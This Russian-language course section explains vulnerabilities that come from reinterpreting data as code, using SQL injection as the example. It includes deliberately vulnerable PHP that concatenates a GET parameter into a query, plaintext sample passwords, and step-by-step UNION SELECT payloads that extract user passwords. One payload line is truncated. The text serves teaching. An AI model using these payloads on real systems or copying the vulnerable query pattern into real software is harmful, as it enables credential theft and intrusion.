Тема 2.5. Многократная смена интерпретации двоичной последовательности

В какой момент «взлом» защищаемой системы становиться свершившимся фактом. Ниже мы разберем этапы атаки. Но для целей данного раздела нам достаточно сформулировать следующее:

Взлом системы считается успешным при наступлении хотя бы одного события:

1. злоумышленник получил доступ к любому действующему акаунту системы;

2. злоумышленник знает любой действующий в системе пароль;

3. злоумышленник получил доступ к информации ограниченного распространения или имеет возможность выполнить любые действия не предусмотренные правилами эксплуатации системы;

4. злоумышленник получил возможность выполнить произвольный программный код в защищаемой системе.

Львиная доля взломов системы 4 типа приходится как раз на уязвимости связанные с многократной сменой интерпретации информации.

Информация, изначально представленная в виде упорядоченной группы бит, при обработке проходит множество раз этапы смены ее интерпретации. Наиболее простым примером является смена интерпретации в исполняемых скриптовых файлах, например *.bat в семействе операционных систем от Microsoft. Так при загрузке в текстовый редактор, файл интерпретируется как текстовый, с возможностью его изменения. При загрузке в интерпретатор, файл превращается в последовательность команд на немедленное исполнение. На самом деле этот принцип заложен в саму архитектуру современных компьютерных систем известную как «Архитектура фон Неймана» основанная на 6 принципах. К теме данного раздела прямое отношение имеет только Принцип однородности памяти, а именно:

Как программы (команды), так и данные хранятся в одной и той же памяти (и кодируются в одной и той же системе счисления). Над командами можно выполнять такие же действия, как и над данными.

Таким образом, перед злоумышленником стоит одна простая задача: «Как превратить данные в программу» и основные архитектурные решения позволяют ему это сделать.

Характерным примером эксплуатации могут послужить уязвимости класса SQL-инъекции.

Рассмотрим подробнее этот тип уязвимостей:

SQL инъекция (SQL injection) - уязвимость, которая возникает при недостаточной проверке и обработке данных, которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы. Использование этой уязвимости дает путь к большим возможностям: как то кража, подмена или уничтожение данных, отказ в обслуживании, и т.д.

Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

CREATE DATABASE `news`;

USE `news`;

# таблица новостей

CREATE TABLE `news` (

`id` int(11) NOT NULL auto_increment,

`title` varchar(50) default NULL,

`date` datetime default NULL,

`text` text,

PRIMARY KEY (`id`)

) TYPE=MyISAM;

 

#добавляем некоторые данные

INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (1,'first news','2005-06-25

16:50:20','news text');

INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (2,'second news','2005-06-24

12:12:33','test news');

# таблица пользователей

CREATE TABLE `users` (

`id` int(11) NOT NULL auto_increment,

`login` varchar(50) default NULL,

`password` varchar(50) default NULL,

`admin` int(1) NULL DEFAULT '0',

PRIMARY KEY (`id`)

) TYPE=MyISAM;

# добавляем несколько пользователей, одного с правами админа, другого простого

INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (1,'admin','qwerty',1);

INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (2,'user','1111',0);

В качестве образца PHP кода рассмотрим следующий:

<?php

$link=mysql_connect("localhost","user","password");

mysql_select_db("sqltest",$link);

if (!empty($_GET["id"])) {

$query="SELECT * FROM `news` WHERE `id`=".$_GET["id"];

$res=mysql_query($query,$link) or die(mysql_error($link));

}

?>

Здесь запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет.

Обратимся к файлу:

http://test.com/index.php?id=1

получим результат:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1"

Другой вариант:

http://test.com/index.php?id=1qwerty

результат "Unknown column '1qwerty' in 'where clause'". Посмотрим как выполниться такой запрос:

http://test.com/index.php?id=2-1.

При наличии уязвимости должен выдать результат, аналогичный запросу

http://test.com/index.php?id=1

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE.

Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.:

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

здесь количество "null" должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

Например,

http://test.com/index.php?id=-1+UNION+SELECT+null,

теперь на странице, будет видоизменен заголовок. Для получения данных из других таблиц используется запрос:

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users`where `id`=1

Ничто не мешает злоумышленнику аналогично получить хэш пароля администратора SQL сервера хранящийся в системных таблицах.. В этом случае восстановление пароля из полученного хэша займет довольно короткое время.

Очевидно, что данная уязвимость возникает на этапе интерпретации полученных данных SQL сервером от Web сервера удаленно системы. Определим точку возникновения уязвимости.

Злоумышленник на удаленном компьютере формирует специальный запрос к нашей системе. Этот запрос получает наш Web сервер и передает его интерпретатору php. Поскольку проверка данных на стороне Web сервера проводится формально по вполне очевидным причинам «не знания» сервером архитектуры смежных приложений собранный искусственный запрос передается интерпретатору в виде последовательности данных в системном массиве $_GET. Интерпретаторам производится лексический разбор полученных данных и формируется SQL-запрос к базе данных. Ошибка заключена именно в этом месте, поскольку скрипт формирующий запрос не проверяет на наличие данных удовлетворяющих требованиям SQL сервера и формирует модифицированный нарушителем запрос. Таким образом, изначально информация планируемая как данные для хранения в СУБД превращается в команды для SQL сервера.

Фактически все уязвимости позволяющие исполнить произвольный код на удаленной системе, все вирусы являются функцией архитектуры современных информационных систем. Дальнейшее наращивание функциональных возможностей, включения языков программирования в продукты ведет к росту такого рода уязвимостей.